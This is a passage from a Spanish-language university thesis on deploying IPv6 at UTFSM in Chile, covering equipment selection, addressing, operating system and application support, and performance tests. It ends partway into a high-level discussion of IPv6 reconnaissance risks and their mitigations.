estructura y metodología para llevar a cabos ciertas tareas. Esto implica que de seleccionarse la alternativa presentada por Juniper, sería necesario invertir tiempo y recursos en capacitación de los administradores de dichos equipos. Relacionado con lo anterior, un aspecto negativo de la alternativa de Juniper es la escasa documentación y base de usuarios que posee en comparación con Cisco. El sitio web de Cisco pone a disposición de los usuarios una serie de documentos técnicos (“whitepapers”) que buscan resolver problemas y dudas que los usuarios
tienen comúnmente. Además, los equipos presentados por Cisco son utilizados en un gran número de redes a lo largo de Chile y del mundo, permitiendo contar con una gran base de usuarios que comenta y publica sus experiencias en sitios web y grupos de discusión.
38
Capítulo 5
5.Diseño e Implementación de la red IPv6 5.1. Topología revisada de la red institucional UTFSM Tomando en cuenta los criterios expuestos en el capítulo4, se escogió la alternativa de equipamiento presentada por Cisco. El factor clave en la elección fue la experiencia que se tiene en la UTFSM con equipos Cisco, además del gran soporte, tanto directo como indirecto que existe para dichos equipos. Una de las ventajas de esta elección es que fue posible utilizar los simuladores GNS3 y PacketTracer para probar las configuraciones expuestas en este capítulo antes de su implementación definitiva. LaTabla 5.1 muestra los equipos reemplazados. Tabla 5.1 Equipos reemplazados en la red institucional.
Nombre equipo Sw-border Firewall primary Firewall secondary Sw-inside Fibra-gw Campus-gw Sw-wifi
Equipo srcinal Catalyst 2950T Pix 525 Pix 525 Catalyst 2950T Catalyst 3550 Catalyst 3550 Catalyst 2950T
Equipo de reemplazo Catalyst 2960G ASA 5520 ASA 5520 Catalyst 3750 Catalyst 3750 Catalyst 3750 Catalyst 3750
Los tres “switches” Catalyst 3750 fueron conectados en pila (“stack”) mediante la tecnología StackWise de Cisco [18]. Esta tecnología permite unir de forma inteligente los tres “switches” para crear una única unidad de “switching” qu e
cuenta con una
interconexión entre equipos de 32[Gbps]. La configuración de los equipos se realiza de forma centralizada y la información sobre la topología de la red y enrutamiento se actualiza constantemente entre los equipos. En laFigura 5.1 se muestra la nueva topología simplificada de la red institucional de la UTFSM.
39
Figura 5.1 Topología simplificada Red UTFSM (04/2009)
5.2. Conexión a Internet mediante IPv6 5.2.1. Selección de un proveedor de servicios de Internet (ISP) La UTFSM posee dos enlaces a Internet mediante IPv4, otorgados por los ISP Telmex y Global Crossing. Dichos enlaces permiten proveer a la red de un grado adicional de tolerancia a fallas en el acceso a Internet. En los ISP, el tráfico IPv6 es normalmente visto como un servicio adicional, por lo que fue necesario cotizar las posibilidades de conexión IPv6 que ofrecían ambos ISP. Global Crossing es uno de los ISP pioneros y líderes en IPv6 a nivel mundial. Ha apoyado diversos proyectos IPv6, entre ellos la implementación IPv6 en los diversos 40
departamentos gubernamentales de los Estados Unidos. Por otra parte Telmex, al momento de realizar la cotización correspondiente, no ofrecía aún acceso IPv6 a Internet. Se contrató con Global Crossing un ancho de banda de 1 [Mbps] internacional exclusivo para acceder a Internet mediante IPv6. Este ancho de banda es suficiente si se considera que se espera una baja demanda de este servicio. Futuras ampliaciones o usos de la red IPv6 pueden requerir un ancho de banda superior.
5.2.2. Obtención de un prefijo IPv6 Global Crossing, en su papel de ISP nivel 1, puede otorgar una red de prefijo /48 a la UTFSM, tal como se describe en la sección3.4.4 de este documento. Sin embargo, se optó por solicitar una red de prefijo /32 directamente a LACNIC. Este tamaño de prefijo se entrega normalmente a proveedores de servicios, sin embargo se otorga excepcionalmente a instituciones que puedan justificar su uso. Las razones dadas en la solicitud a LACNIC fueron:
La UTFSM actúa como un “ISP” de los diversos campus y sedes a lo largo del
país, proveyéndoles acceso a Internet y servicios asociados.
En el futuro la UTFSM planea utilizar enlaces redundantes a Internet IPv6 con contratando un segundo ISP. El obtener un prefijo /32 facilita el uso de técnicas de “multihoming”.
La mayoría de las Universidades a nivel mundial están obteniendo prefijos /32
con el fin de promover el desarrollo e investigación en torno a IPv6. LACNIC delegó el prefijo 2800:270::/32 a la UTFSM en agosto del 2008. En enero de 2009, se realizo el primer anuncio de dicho prefijo al exterior, sumándose a la tabla de enrutamiento global IPv6.
41
Cabe destacar que la UTFSM es una de las 5 instituciones chilenas, y la única Universidad, que a la fecha de publicación de este trabajo poseen un prefijo IPv6 6 activo, es decir, que está correctamente anunciado en la tabla de enrutamiento global .
5.3. Protocolos de enrutamiento 5.3.1. Protocolo de enrutamiento externo Dado que la UTFSM obtuvo un espacio de direccionamiento IPv6 independiente un ISP (prefijo /32), es necesario configurar un protocolo que permita anunciar la red IPv6 UTFSM hacia Internet. El protocolo utilizado es BGP4-MP, definido en [19]. Dicho protocolo es usado en la red institucional UTFSM para anunciar la red IPv4 de la UTFSM hacia los proveedores Global Crossing y Telmex, por lo que ya se cuenta con un número de unidad autónoma (ASN). El uso de BGP4-MP permite en un futuro implementar “multihoming” en el acceso a IPv6, tal como se muestra en la
Figura 5.2.
Figura 5.2 “Multihoming” con espacio direccionamiento independiente. 6
La lista de los prefijos delegados por LACNIC y su estado se pueden ver en
http://www.sixxs.net/tools/grh/dfp/lacnic/ 42
5.3.2. Protocolo de enrutamiento interno Antes del cambio en la topología, en la red institucional UTFSM se utilizaba el protocolo RIP para intercambiar información sobre rutas entre los equipos campusgw, fibra-gw y sw-inside. Con los cambios realizados en la topología de la red, la información de rutas se ha centralizado en la pila de “switches” Catalyst 3750, por lo que ya no es necesario contar con un protocolo de enrutamiento interno en especial. Para la comunicación entre las distintas VLANs existentes en la UTFSM, se utilizará el enrutamiento IPV6 entre VLANs, disponible en los equipos Catalyst 3750, junto a rutas estáticas. En esta primera etapa, no se planea realizar enrutamiento de tráfico multicast IPv6.
5.4.
Direccionamiento IPv6 en la UTFSM
El prefijo 2800:270::/32 permite a la UTFSM contar con 65356 sitios IPv6, cada uno de tamaño /48. Con el objetivo de realizar una correcta distribución del gran número de direcciones disponibles, se optó por implementar una política de direccionamiento jerárquico que considera a los distintos campus y sedes de la UTFSM. La estructura de las direcciones IPv6 a utilizar en la UTFSM se muestra en las tablas 5.2 y 5.3. Tabla 5.2 Estructura direcciones IPv6 de la UTFSM
Nombre campo Prefijo UTFSM Campus Unidad Red Dispositivo (Interfaz) 8[bit] 8[bit] 16[bit] 64[bit] Tamaño campo 32[bit] /32 /40 /48 /64 /128 Prefijo
Tabla 5.3 Detalle campos direcciones IPv6 UTFSM
Campo Campus
Descripción Identifica el campus o sede
Unidad
Identifica a la unidad administrativa o departamento al interior de un campus/sede
Valores establecidos 00: Casa Central 10: Sede Viña del Mar 20: Sede Concepción 30: Campus Rancagua 40: Campus Santiago Vitacura 50: Campus Santiago San Joaquín Ver valores en anexo A.
43
Red Dispositivo
Especifica una red administrada por un departamento/unidad administrativa Identifica a un dispositivo (interfaz) al interior de una red IPv6
::1 : Puerta de enlace (“Gateway”) de cada red
Esta política de asignación de direcciones permite a cada unidad administrativa 19
contar con 65356 redes de 1,18x10 dispositivos. Esto permite realizar una segmentación aun más fina al interior de cada departamento, asignando por ejemplo una red IPv6 a cada laboratorio o proyecto de investigación. Tomando en cuenta el número total de direcciones IPv6 disponibles, y considerando una distribución 7 homogénea de ellas, se presenta en la el número de direcciones IPv6 disponibles .
Tabla 5.4 Número de direcciones IPv6 disponibles en la UTFSM.
Direcciones IPv6 en total Direcciones IPv6 por m 2 Direcciones IPv6 por persona (alumnos, profesores y administrativos)
7,92282 x1028 2,09545 x1023 5,24933 x1024
Para la configuración de la(s) dirección(es) IPv6 de los nodos se determinó conveniente utilizar el mecanismo de autoconfiguración existente en IPv6. De esta forma, los últimos 64 [bit] de la dirección de una interfaz perteneciente a un dispositivo, serán completados de forma automática a partir de la dirección física (MAC) siguiendo el formato EUI-64. La excepción la constituyen los servidores y equipamiento de red (“switch”, “router”, “firewall”),
a los cuales se les asignará su
dirección IPv6 de forma manual para simplificar su configuración y administración Todos los dispositivos configurados con direcciones IPv6 utilizaran direcciones “unicast” del contexto global. En esta primera etapa no se considera necesario el uso
de direcciones unicast locales únicas, pero no se descarta su futuro uso para establecer redes privadas IPv6 al interior de la Universidad.
5.5. Configuración equipos En la Figura 5.3 se observa las direcciones IPv4 e IPv6 asignadas a los equipos de la red institucional de la UTFSM. 7
Valores
calculados
en
base
a
las
estadísticas
del
año
2008
disponibles
en
http://www.utfsm.cl/universidad/cifras.html 44
Figura 5.3 Diagrama configuración equipos UTFSM.
En el anexo B se encuentran detalladas las configuraciones realizadas en cada equipo. Se asignó la red 2800:270:0000:A::/64 a los servidores institucionales. Dicha red pertenece a la casa central (código 00) y está bajo la administración de la Dirección Central de Servicios Computacionales (código 00). Las direcciones IPv4 e IPv6 de la interfaz Gi 0/1 del equipo gw-border fueron asignadas directamente por el proveedor Global Crossing.
45
Capítulo 6
6.Soporte IPv6 en sistemas operativos y aplicaciones Una vez configurada la red IPv6 de la UTFSM, fue necesario evaluar el estado actual del soporte IPv6 en los sistemas operativos y aplicaciones utilizados por los usuarios de la red institucional. Se analizaron los principales sistemas operativos utilizados en la actualidad, con el fin de detectar posibles incompatibilidades con el protocolo IPv6. En este capítulo se presentan además los resultados obtenidos al implementar un servidor con algunos de los servicios más utilizados en la red institucional, funcionando exclusivamente sobre IPv6.
6.1. Soporte IPv6 en sistemas operativos Prácticamente todos los sistemas operativos desarrollados actualmente cuentan con soporte IPv6. Para las organizaciones y empresas, dicha característica es vista como una garantía de que dichos productos funcionaran adecuadamente en los próximos años. Sin embargo, los ciclos de adopción de los sistemas operativos son extensos, lo que hace necesario revisar el soporte IPv6 en versiones anteriores de dichos sistemas. En la Tabla 6.1 se presenta un resumen con el soporte IPv6 de los sistemas operativos más utilizados por usuarios y servidores en la red institucional de la UTFSM. Tabla 6.1 Soporte IPv6 en sistemas operativos utilizados en la red UTFSM.
Sistema Operativo Windows 7 Windows Vista Windows XP Windows 2003
Soporte IPv6 Sí Sí Sí Sí
Observaciones Ver sección 6.1.1 Ver sección 6.1.1
46
Sistema Operativo
Soporte IPv6
Windows 2000
No
Windows 95/98/NT
No
Linux FreeBSD Solaris Mac OSX Symbian OS Iphone (Mac OSX) Windows Mobile (Windows CE)
Sí Sí Sí Sí Sí No Sí
Observaciones Soporte parcial a través de software adicional Soporte parcial a través de software adicional Desde kernel 2.2 Desde versión 4 Desde versión 8 Desde versión 10.2 Desde la versión 7.0 Desde versión 2003
6.1.1. Sistemas operativos Windows Microsoft se encuentra trabajando activamente en el desarrollo de integración de IPv6 en sus productos desde la primera publicación oficial del protocolo. Actualmente cuenta con soporte IPv6 en los sistemas operativos Windows XP, Vista, 7, Server 2003 y Server 2008. Versiones anteriores no cuenta con soporte oficial de Microsoft, sin embargo existen ciertos parches y actualizaciones creadas por terceros que permiten a dichos sistemas contar con un limitado soporte a IPv6. En base al trabajo realizado, se pudieron constatar los siguientes aspectos.
Windows XP y Windows Server 2003
El soporte IPv6 en dichos sistemas debe ser instalado manualmente.
La dirección del servidor DNS a utilizar debe ser una dirección IPv4. No soportan realizar consultas DNS a través de IPv6.
No cuentan con una interfaz gráfica para modificar la información IPv6 de una interfaz, se debe utilizar la línea de comandos.
No soportan el compartir impresoras ni archivos a través de IPv6.
El firewall incorporado en Windows XP soporta IPv6, pero no se pueden crear reglas específicas para dicho protocolo.
No soportan IPv6 móvil 47
Windows Vista, Windows 7 y Windows Server 2008
Estos sistemas operativos cuentan con la última implementación IPv6 desarrollada por Microsoft, la cual incorpora todas las características definidas del protocolo.
IPv6 es el protocolo capa 3 utilizado por omisión en Windows Vista y Windows 7. Cuando IPv4 e IPv6 se encuentran activados, estos sistemas operativos intentaran conectarse a la dirección IPv6 de un dispositivo remoto.
Incorporan una interfaz gráfica para la configuración del protocolo.
Windows 7 incorpora una función denominada Direct Access que proporciona acceso a los recursos de una red a usuarios remotos (similar a una VPN). Es una de las primeras aplicaciones desarrolladas que sólo funciona en IPv6.
6.1.2. FreeBSD, OpenBSD y NetBSD Los sistemas operativos basados en BSD fueron los primeros en incluir soporte IPv6, dado los trabajos realizados en el proyecto KAME. El proyecto KAME fue un esfuerzo conjunto de 6 grandes organizaciones en Japón cuyo objetivo fue proporcionar una implementación gratuita deIPv6 e IPsec a los sistemas operativos basados en BSD. Este proyecto fue uno de los más importantes en el desarrollo inicial de IPv6, siendo la base y referente de implementaciones realizadas en otros sistemas operativos. Los desarrollos realizados por el proyecto KAME están presentes en los sistemas operativos BSD a partir de FreeBSD 4.0, NetBSD 1.5 y OpenBSD 2.7. En la actualidad, el proyecto KAME ha finalizado, sin embargo todo el código creado forma parte de las actuales versiones de los sistemas operativos mencionados.
6.1.3. Linux Las primeras implementaciones de IPv6 en Linux fueron publicadas el año 1996 y estaban basadas en el proyecto KAME de los sistemas operativos BSD. Uno de los 48
mayores contribuidores al desarrollo IPv6 en Linux es el proyecto USAGI (UniverSAl playGround for Ipv6) manejado por un grupo de voluntarios que buscan implementar todas las funciones de IPv6 en el núcleo de Linux. En Linux cuenta con soporte IPv6 oficialmente desde la versión 2.2. Sin embargo no se recomienda su uso para IPv6, ya que todos los avances y mejoras respecto al protocolo se están realizando en las versiones 2.4.x y 2.6.x.
6.2. Soporte IPv6 aplicaciones uso común Existen en la actualidad innumerables aplicaciones que incluyen algún tipo de soporte para IPv6. En la Tabla 6.2 se presenta un resumen del soporte que proveen algunas de las aplicaciones de mayor uso en ambientes hogareños y/o de oficina. Tabla 6.2 Soporte IPv6 aplicaciones uso común.
Aplicación
¿Soporta IPv6?
Primera versión con soporte IPv6
Explorer
Si
4.01
Firefox
Si
1.5
Windows Mail
Si
Outlook
Si
Outlook Express
No
2003
Si
VLC
Si
Windows Media Player
Si
En versiones anteriores a la 7.0 no se puede especificar directamente una dirección IPv6, es necesario el apoyo de un servidor DNS.
Soporta uso directo de direcciones IPv6 para configurar cuentas de correo Soporta uso directo de direcciones IPv6 para configurar cuentas de correo. Usar Windows Mail. No se puede especificar directamente una dirección IPv6, es necesario el apoyo de un servidor DNS.
Thunderbird Si Winamp
Notas
5.34
9.0
49
Es necesario recordar que cuando se utiliza una dirección IPv6 para señalar un recurso remoto (URI), se utiliza el formato definido en [9]. Por ejemplo, para acceder a un sitio web, se utiliza el formato “http://[2800:270::1]”.
6.3. Configuración de servidor IPv6 y servicios asociados Se realizó un análisis de una serie de servicios de uso común en los servidores de la red Institucional de la UTFSM. El objetivo fue verificar el grado de soporte a IPv6 que estos ofrecen, demostrando que en la actualidad es posible implementarlos en redes que funcionan exclusivamente con IPv6. Las aplicaciones fueron instaladas en un servidor con el sistema operativo FreeBSD 7.1. En el anexo C se encuentra detallado el procedimiento para la configuración del servidor y las aplicaciones analizadas. En laTabla 6.3 se muestran las versiones instaladas de cada servicio. Tabla 6.3 Servicios instalados en servidor FreeBSD 7.1
Servicio
Versión instalada
Bind
9.4.2
Apache
2.2.9 y 1.3.41
Net-SNMP
5.4.2.1
MRTG
2.16.2
Nagios
3.0.3
6.3.1. Servidor DNS (BIND) BIND permite el uso indistinto de IPv4 ó IPv6 como protocolo de comunicación (capa 3) para realizar consultas al servidor DNS. El protocolo utilizado es independiente del tipo de consulta realizada: se pueden consultar por direcciones IPv4 utilizando IPv6 y viceversa. Respecto a la resolución de nombres a direcciones IPv6, existe el registro“AAAA” que es el equivalente directo al registro “A” utilizado en IPv4. Un nombre de host puede estar asociado a una dirección IPv4 y/o a varias direcciones IPv6, basta con
50
agregar los correspondientes registros en el archivo de zona. En laTabla 6.4 se muestra un ejemplo de ello. Tabla 6.4 Ejemplo de un sitio asociado a direcciones IPv4 e IPv6
Nombre prueba.utfsm.cl
Tipo de Registro A
Valor 200.16.32.2
prueba.utfsm.cl prueba.utfsm.cl
AAAA AAAA
2800:270:a3c4::2 3ffe:b00:0:1::1
Para la resolución inversa de direcciones IPv6, se utiliza el mismo registro PTR utilizado en IPv4. Para construir la parte izquierda del registro, se ingresa cada digito hexadecimal de la dirección IPv6, separándolos por un punto. A esta dirección se agrega el nombre de dominio superior“ip6.arpa”. En la Tabla 6.5 se ve un ejemplo para la dirección 3ffe:b00:0:1::1. Tabla 6.5 Ejemplo de registro PTR para una dirección IPv6
Nombre 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.0.0. Tipo de Registro PTR 0.0.0.0.e.f.f.3.ip6.arpa
Valor prueba.utfsm.cl
6.3.2. Servidor Web (Apache) Apache cuenta con soporte IPv6 desde la versión 2.0. Sin embargo, y dada la popularidad de la versión 1.3, se han desarrollados parches que permiten que dicha función funcione con IPv6. Se instalaron las versiones 2.2.9 y 1.3.41, comprobándose su correcto funcionamiento en un ambiente IPv6.
6.3.3. Servicios de monitoreo y administración de Redes La gran mayoría de los “software” de monitoreo y administración de redes se basan en el uso del protocolo SNMP8, el cual mediante el uso de estaciones de administración, monitorea y maneja dispositivos que contienen un agente SNMP y se encuentran conectados a una red IP. Al igual que en el caso de DNS, el protocolo capa 3 utilizado para el transporte de información entre las estaciones de administración y los dispositivos monitoreados, es 8
Existen alternativas como Netflow (Cisco), archivos XML y otros protocolos propios de cada equipo. 51
independiente de la información transmitida. En el caso de Cisco, el uso de SNMP sobre IPv6 está disponible desde IOS 12.0(27)S. Todos los dispositivos adquiridos para la actualización de la red soportan esta característica. La información que un agente proporciona a una estación de monitoreo, está determinada por la(s) MIB (Management Information Base) que implementa. En un principio, la IETF definió MIBs diferentes y disociadas para información respecto a IPv4 e IPv6. Sin embargo, en 1996 se definieron las denominadas MIBs unificadas (RFC 2011 y RFC 2096), que reúnen la información de ambos protocolos. Una de las mayores críticas a este nuevo modelo, es que no permitía especificar contadores de tráfico separados por cada protocolo. Esto implicaba que no era posible obtener estadísticas diferenciadas sobre el número de paquetes transmitidos, erróneos y descartados en una interfaz por cada protocolo IP. A raíz de esto y motivado por diversas necesidades de los usuarios, en el año 2006 se publicaron los documentos RFC 4293 y 4293 que especifican contadores independientes para IPv4 e IPv6.
Figura 6.1 Evolución de MIBs unificadas
En el caso de Cisco, los equipos adquiridos para la actualización de la red implementan las MIB´s CISCO-IETF-IP-MIB (basada en RFC 2011) y CISCO-IETFIP-FORWARDING-MIB (basada en RFC 2096). Dichas MIBs, si bien permiten obtener información referente a la configuración IPv6 de una interfaz, no cuentan con contadores de paquetes diferenciados para IPv4/IPv6. A la fecha de publicación de
52
este trabajo, no existe la posibilidad de actualizar el sistema operativo para 9 implementar MIBs basadas en los estándares más actuales .
Se analizaron tres programas utilizados en la red institucional para el monitoreo de servidores y sus servicios: Net-SNMP, MRTG y Nagios.
Net-SNMP El paquete Net-SNMP consiste en una serie de herramientas para obtener y configurar información de dispositivos que cuentan con SNMP junto a un agente que responde consultas SNMP realizadas al servidor. Tanto las herramientas de consulta y configuración (snmpget, snmpwalk) como el agente SNMP (snmpd) demostraron funcionar correctamente sobre IPv6. En el caso del agente, las comunidades SNMPv2 por omisión solo responden consultas a través de IPv4, siendo necesario editar el archivo de configuración para habilitar el acceso a través de IPv6. Al igual que en el caso de los equipos de la marca Cisco instalados en la red institucional, el agente SNMP incluido en este paquete no permite obtener estadísticas diferenciadas para el trafico IPv4/IPv6.
MRTG MRTG (“Multi Router Traffic Grapher”) es una herramienta, escrita enC y Perl que se utiliza para supervisar la carga de tráfico de interfaces de red. MRTG genera un informe en formato HTML con gráficas que proveen una representación visual de la evolución del tráfico a lo largo del tiempo. MRTG tiene soporte IPv6 desde la versión 2.10, sin embargo no se encuentra habilitado por omisión. Se observó que MRTG funciona sin problemas en una red IPv6, con la restricción de no poder graficar de forma independiente el tráfico IPv4 e IPv6 de los equipos instalados en la red UTFSM. Dicha restricción es propia de los equipos monitoreados y no del programa. 9
De acuerdo a lo conversado con uno de los ingenieros de Cisco a cargo de dicha implementación, el mayor problema es que la implementación de las nuevas MIBs requiere modificar el hardware de los dispositivos. 53
Nagios Nagios es un sistema de código abierto, que monitorea la disponibilidad de dispositivos de red, nodos y servicios ejecutándose en ellos, generando alertas cuando alguno de ellos falla o se escapa de determinados parámetros de funcionamiento. Posee un extenso soporte para “plugins”, los cuales permiten verificar diversos
aspectos de servicios ejecutándose en estaciones remotas. Nagios cuenta con soporte IPv6 desde la versión 1.0. En las pruebas realizadas, se comprobó que todos los “plugins” estándares, incluidos en la instalación, funcionan
correctamente con IPv6.
54
Capitulo 7
7.Consideraciones de desempeño Una de las preocupaciones al momento de implementar IPv6 es que, dada sus nuevas características, su desempeño sea inferior a IPv4. Al respecto, empresas, organizaciones e investigadores han realizado una gran cantidad de estudios y trabajos que buscan responder dicha inquietud [13][20][21]. En este capítulo se revisan los aspectos de IPv6 que influyen en su desempeño, realizando pruebas para medir su real impacto.
7.1. Aspectos Teóricos Dentro de las nuevas características del protocolo IPv6, existen algunas que dada su naturaleza, pueden generar cambios en su desempeño respecto a IPv4. Dichas características son: a) El tamaño de la cabecera de un paquete IPv6 es de 40[byte], el doble que la cabecera de IPv4. b) Se ha eliminado la necesidad de realizar los cálculos asociados a los campos “checksum” y “time-to-live”. c) Se ha modificado el tamaño máximo de un paquete, desde 64 [Kbyte] a 4[Gbyte] (IPv6 Jumbogram). d) Se ha introducido el campo “Flow Label”, que identifica flujos de tráfico. e) El proceso de fragmentación y reconstrucción de paquetes solo se realiza en los nodos terminales de una conexión. Los nodos intermedios y “routers” ya no tienen que realizar dicho proceso.
55
f) La cabecera de un paquete IPv6 se ha alineado a un largo de palabra de 64 [bit]. Un factor adicional a considerar es el hecho de que las implementaciones de IPv6 en equipos de red y sistemas operativos no poseen el grado de madurez que tienen sus contrapartes en IPv4. Las implementaciones de redes y servicios en IPv6 han sido utilizadas hasta el momento en ambientes de prueba, los cuales no están sometidos al nivel de exigencia de ambientes de producción IPv4. El aumento de la longitud en una dirección IPv6, junto al consiguiente aumento en el tamaño de la cabecera, es un factor que introduce una baja del rendimiento general en redes IPv6. Considerando un mismo tamaño de paquete, IPv4 es capaz de transmitir una mayor carga de información útil (“payload”) que IPv6, tal como se
muestra en la Tabla 7.1. Tabla 7.1 Calculo “overhead”
paquetes IPv4 e IPv6.
Tamaño paquete = 64 [byte] Tamaño paquete = 1500 [byte] Datos (“payload”) [byte]
Cabecera IP [byte] Total Paquete IP[byte] Overhead IP10[%]
IPv4 44 20 64 44%
IPv6 24 40 64 62.5%
IPv4 1480 20 1500 1,3%
IPv6 1460 40 1500 2,6%
Otro aspecto a considerar es que el aumento en el tamaño de la cabecera implica un mayor tiempo para procesar cada paquete. El uso de direcciones de 128 [bit] requiere por lo menos el doble de instrucciones que las utilizadas en IPv4 para leer correctamente las direcciones de cada paquete. Si además se toma en cuenta la nueva estructura de cabeceras adicionales, el número de operaciones necesarias para analizar cada paquete IPv6 es notablemente superior que en el caso de IPv4. Tomando en cuenta estos aspectos, se diseñaron dos pruebas que buscan comprobar los impactos en el uso de CPU de equipos y en el número de paquetes transmitidos en una conexión IPv6. 10
Overhead IP: Razón entre tamaño de cabecera y tamaño total del paquete 56
7.2. Desempeño en servidor Apache Se armó el escenario de pruebas descrito en laFigura 7.1. El servidor web utiliza Apache versión 2.2.9 y se configuró para que atienda las solicitudes web enviadas a sus direcciones IPv4 e IPv6. El equipo “PC 1” utiliza el programa ApacheBench
versión 2.3, el cual permite medir el desempeño de un servidor web.
Figura 7.1 Escenario de pruebas servidor web.
La prueba realizada consistió generar 100.000 solicitudes de un archivo remoto de 210 [byte] ubicado en el servidor web. Se realizó la prueba utilizando IPv4 e IPv6, con un nivel de concurrencia11 de 10. Los resultados obtenidos se muestran en la Tabla 7.2. Tabla 7.2 Resultados prueba servidor Web.
Tiempo total utilizado [s] Solicitudes/segundo atendidas Tiempo medio por solicitud [ms] Promedio uso CPU servidor [%]
IPv4 23.374 4278.32 2.337 84.96
IPv6 28.999 3448.34 2.9 89.93
Variación % +24.06 % - 19,4% +24.06% +5.8%
Se observa que el rendimiento obtenido por IPv6 es inferior al obtenido por IPv4. Tal como se menciona en la sección7.1, el uso de IPv6 impone una carga adicional al sistema operativo, la cual se hace más notoria en pruebas que simulan una gran cantidad de conexiones simultáneas. En el caso del servidor Apache, este redujo considerablemente el número de solicitudes que es capaz de atender por segundo, junto con aumentar levemente sus requerimientos de procesamiento.
11
Esto implica que el programa ApacheBench simula que 10 usuarios conectados de forma
simultánea al servidor, generan un total de 100.000 solicitudes al archivo. 57
7.3. Desempeño en servidor FTP Con el propósito de verificar las diferencias en el número de paquetes transmitidos entre IPv4 e IPv6, se configuró el escenario mostrado en laFigura 7.2.
Figura 7.2 Escenario de pruebas servidor FTP.
El equipo “servidor FTP” es un sistema FreeBSD 7.1 ejecutando el servicio “wu ftpd” versión 2.6.2. El equipo “PC 1” utiliza el programa “ncftp” para conectarse al
servidor. La prueba realizada consistió en la descarga de un archivo de 734.271[Mbyte] desde el servidor FTP hacia PC 1 utilizando IPv4 e IPv6. Considerando únicamente los paquetes asociados al transporte del archivo (paquetes tipo “FTP-DATA”), en la se
muestra el número de paquetes que teóricamente se debería transmitir. Tabla 7.3 Cálculo teórico transmisión archivo de 734.271 [Mbyte].
Parámetro Tamaño Paquete [byte] Datos contenidos12 Nº paquetes generados
IPv4 1500 1460 502926
IPv6 1500 1440 509911
Se observa que teóricamente al utilizar IPv6 se generan aproximadamente un 1.3% más de paquetes que al utilizar IPv4. Utilizando los contadores disponibles en el switch Catalyst 3750G, al realizar la descarga del archivo se obtuvieron los valores mostrados en laTabla 7.4.
12
El total de datos contenidos corresponde al tamaño del paquete menos el “overhead” IP +TCP 58
Tabla 7.4 Resultados prueba transmisión FTP.
Medición Tráfico Servidor ->PC 1 [Mbyte] Tráfico Servidor ->PC 1 [paquetes]
IPv4 765.464 511067
IPv6 774.135 527809
Variación % + 1.13% + 3.23%
En base a los datos recogidos, se confirma lo expuesto en la sección. La transmisión de un archivo determinado utilizando IPv6 como protocolo capa 3, genera un mayor número de paquetes que en IPv4. En la prueba realizada se observa que la variación porcentual es superior a la teórica. Realizando una captura de paquetes se concluye que dicha diferencia corresponde a paquetes que tuvieron que ser reenviados por haber llegado de forma incorrecta.
7.4. Conclusiones En base a las dos pruebas realizadas, se confirma lo expuesto en el análisis teórico de este capítulo. El diseño de IPv6 posee limitaciones físicas que le impiden obtener un rendimiento superior a IPv4. Sin embargo, el diseño del protocolo IPv6 incluye algunas características que mejoran pueden significar un mejor desempeño en otros aspectos. Por ejemplo, la estructura jerárquica de direccionamiento y la eliminación del uso del protocolo NAT, pueden afectar positivamente el desempeño de equipos ubicados en el “backbone” de Internet.
El desempeño de los equipos utilizados en la implementación de la red IPv6 en la UTFSM (Cisco 7204VXR y Cisco Catalyst 3750G) ha sido extensamente analizados en ambientes “dual-stack”
[20][22]. Los resultados obtenidos concluyen un desempeño prácticamente idéntico al utilizar IPv4 y/o IPv6. Las mayores diferencias se observan en tráfico compuestos por paquetes pequeños (inferiores a 100 [byte]). Estos resultados se explican por el hecho que dichos equipos son de los primeros en incluir mejoras en el hardware específicas para el tráfico IPv6. No fue posible corroborar los resultados obtenidos en dichos estudios, ya que el nivel de tráfico necesario para obtener ese tipo de resultados solo se puede obtener utilizando equipo especializado de pruebas.
59
Capítulo 8
8.Seguridad en redes IPv6 A diferencia del protocolo IPv4, cuyos creadores jamás vislumbraron la importancia que tendría en el futuro, los desarrolladores del protocolo IPv6 siempre tuvieron en consideración que este protocolo seríautilizado en millones de dispositivos a lo largo del mundo. Es por ello que la seguridad fue uno de los temas claves que definieron el desarrollo y estandarización del protocolo IPv6. El protocolo IPv6 posee una serie de nuevas características que hacen necesario revisar las políticas y conceptos de seguridad conocidos en redes IP. Cuando se incorpora un nuevo protocolo o tecnología a un ambiente de producción, es necesario conocer cuáles son las nuevas amenazas de seguridad asociadas a dicha incorporación. Si bien actualmente el tráfico IPv6 en Internet representa menos del 1% del total, ya existen ataques e incluso virus y gusanos (“worms”) que funcionan en IPv6, lo que obliga ministradores de redes y sistemas a conocer los aspectos de seguridad en IPv6. El tema de la seguridad en redes IPv6 ha sido ampliamente estudiado y discutido en diversos congresos, encuentros y listas de discusión. Un grupo internacional de investigadores en seguridad y redes, llamado“The Hacker`s Choice”, ha desarrollado un conjunto de programas que explotan las vulnerabilidades conocidas de IPv6 [20]. En este capítulo se utilizaran alguno de estos programas con el fin de demostrar el impacto de los problemas de seguridad existentes en IPv6.
8.1. Reconocimiento en redes IPv6 La primera etapa de cualquier tipo de ataque hacia una red normalmente involucra algún tipo de procedimiento para examinar que dispositivos se encuentran activos en
60
una red determinada. Para ello, se realiza un barrido de pings por todas las direcciones IP posibles en la red, con el fin de detectar cuales están en uso. Dicha técnica es muy utilizada en IPv4, ya que el número de posibles direcciones en una red de tamaño normal (/24) es de 256. Dicha operación puede tardar entre 5 a 30 [s], y existen una serie de herramientas que realizan este barrido de forma automática. En IPv6, el numero de direcciones IP posibles en una red típica (/64) es de alrededor de 1,18x1019. Utilizando las mismas herramientas existentes en IPv4, para recorrer todo el rango de direcciones posibles de una sola red se necesitarían alrededor de 500 millones de años. Sin embargo, existen otras técnicas mediante las cuales un atacante puede realizar un reconocimiento de la red. Si el atacante se encuentra conectado físicamente a la red, puede realizar un “ping” a la dirección “multicast” que representa a todos los nodos o a todos los “routers” conectados a dicha red (FF02::1 y FF02::2 respectivamente). De acuerdo a las especificaciones de IPv6, un nodo no debería responder a pings enviados a dichas direcciones, sin embargo varias implementaciones no han tomado en cuenta dicha recomendación. Existen varias recomendaciones para evitar los problemas asociados al reconocimiento local o remoto de una red. La principal es que los identificadores de interfaz de los nodos no sean números correlativos y que no partan desde el límite inferior del rango (evitar las secuencias ::1, ::2, ::3, etc.). Esto se puede lograr mediante el uso de la autoconfiguración de direcciones IPv6, ya que es posible obligar a los nodos generar un identificador de interfaz pseudo-aleatorio o basado en la dirección física de la interfaz.
8.2. Vulnerabilidades en ICMPv6 8.2.1. Configuración automática de direcciones (SLACC) El mecanismo de configuración automática de direcciones (SLACC) permite a los nodos obtener una dirección IPv6 automáticamente a partir de la información que un “router” transmite en un enlace capa 2. Los “routers” envían anuncios de
61
